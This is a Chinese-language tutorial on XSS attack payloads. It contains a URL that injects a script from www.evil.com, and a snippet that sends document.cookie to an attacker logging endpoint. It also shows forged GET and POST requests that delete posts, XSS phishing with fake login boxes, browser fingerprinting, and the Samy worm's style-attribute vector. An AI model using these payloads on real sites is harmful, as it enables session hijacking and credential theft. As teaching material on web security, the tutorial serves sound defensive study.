Web安全之XSS攻击
初识XSS Payload
XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为"XSS Payload"。
XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。
一个最常见的XSS Payload,就是通过读取浏览器对象,从而发起“Cookie劫持”攻击。
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。也就是,你可以在不知道密码的情况下直接登录用户账户。
下面举个例子,攻击者先加载一个远程脚本:
http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script>
真正的XSS Payload写在这个脚本中,避免直接在URL参数中写入大量的JavaScript代码。
evil.js代码如下,它将document.cookie对象发送到了远端服务器
var img = document.createElement('img'); img.src = "http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
Cookie的"HttpOnly"标识可以防止“Cookie劫持”,我们将在稍后具体介绍。
强大的XSS Payload
"Cookie劫持"并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站可能会把Cookie与客户端IP绑定。尽管如此,攻击者还是有很多方式能够控制用户的浏览器。
构造GET和POST请求
假设有篇博客所在域的某页面存在XSS漏洞,正常删除文章的链接是:
http://blog.com/article?m=delete&id=123
那么攻击者只需要知道文章的id,皆可以通过这个请求删除这篇文章了。
var img = document.createElement('img'); img.src = 'http://blog.com/article?m=delete&id=123'; document.body.appendChild(img);
攻击者只需要让博客作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。
对于POST请求,可以这样实现
第一个种方法
var f = document.createElement('form'); f.action = ""; f.method = "post"; document.body.appendChild(f); var i1 = document.createElement('input'); i1.name = 'name'; i1.value = 'value'; f.appendChild(i1); f.submit();
如果参数很多,通过构造DOM节点的方式,代码将十分冗长。可以通过innerHTML直接写html字符串的方式构造。
第二种方法可以使用XMLHttpRequest直接发送一个POST请求。
XSS钓鱼
前面介绍的,XSS的攻击过程都是在浏览器中通过JavaScript脚本自动进行的,也就是说,缺少“与用户交互”的过程。
比如之前“通过POST表单发消息”的例子,如果要求用户输入验证码,那么一般的XSS Payload都会失效。此外,在大多数“修改用户密码”的功能中,都会要求用户输入原密码,而攻击者往往是不知道的。
但这也不能限制住XSS。
对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远端服务器——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload。
修改密码的问题稍微复杂点,攻击者可以将XSS与“钓鱼”相结合。利用JavaScript实现一个伪造的登录框,当用户输入用户名和密码后,将密码发送至黑客的服务上。
识别用户浏览器
攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如知道用户使用的浏览器、操作系统,就有可能实施一次精准的浏览器内存攻击,最后给用户电脑植入一个木马。
比如使用XSS读取浏览器的UserAgent对象
alert(navigator.userAgent);
但是这个对象是可以伪造的,所以信息不一定准确。
可以有另外一种技巧,来更准确地识别用户的浏览器版本
由于浏览器之间的实现存在差异,同一个浏览器不同版本之前可能也有细微的差别。通过判断这些差异,就能准确的识别出浏览器版本。
比如:
if (window.ActiveXObject) // MSIE 6.0 or below
识别用户安装的软件
在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。
浏览器的扩展和插件也能被XSS Payload扫描出来。比如Firefox的插件(Plugin)列表存放在一个DOM对象中,通过查询DOM可以遍历所有的插件。
CSS History Hack
我们再看一个有趣的XSS Payload,通过CSS来发现一个用户曾经访问过的网站。其原理利用的是style的visited属性。如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。
获取用户的真实IP地址
很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?
JavaScript本身并没有提供获取本地IP地址的能力,XSS攻击需要借助第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。
除了Java之外,一些ActiveX控件可能也会提供接口查询本地IP地址。这些功能比较特殊,需要具体情况具体分析。
XSS攻击平台
有安全研究者将许多功能封装起来,称为XSS攻击平台。这些平台主要是为了演示XSS的危害,以及方便渗透测试使用。
终极武器:XSS Worm
XSS也能形成蠕虫
Samy Worm
在2005年有年仅19岁的Samy Kamkar对MySpace.com发起的,这是Web安全史上第一个重量级的XSS Worm。
首先,Myspace网站过滤掉了很多危险的标签,所有的事件如”onclick“等也被过滤了。但是它允许用户控制标签的style属性,通过style还是有办法构造出XSS的
<div style="background:url('javascript:alert(1)')">
其次,Myspace同时还过滤了‘javasript’、‘onreadystatechange’等敏感词,所以Samy用了”拆分法“绕过这些限制。
最后,Samy通过AJAX构造的POST请求,完成了在用户的heros列表里添加自己名字的功能:同时复制蠕虫自身进行传播。
XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起它是有一定条件的。
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。
比如,发送站内信、用户留言等页面,都是XSS Worm的高发区。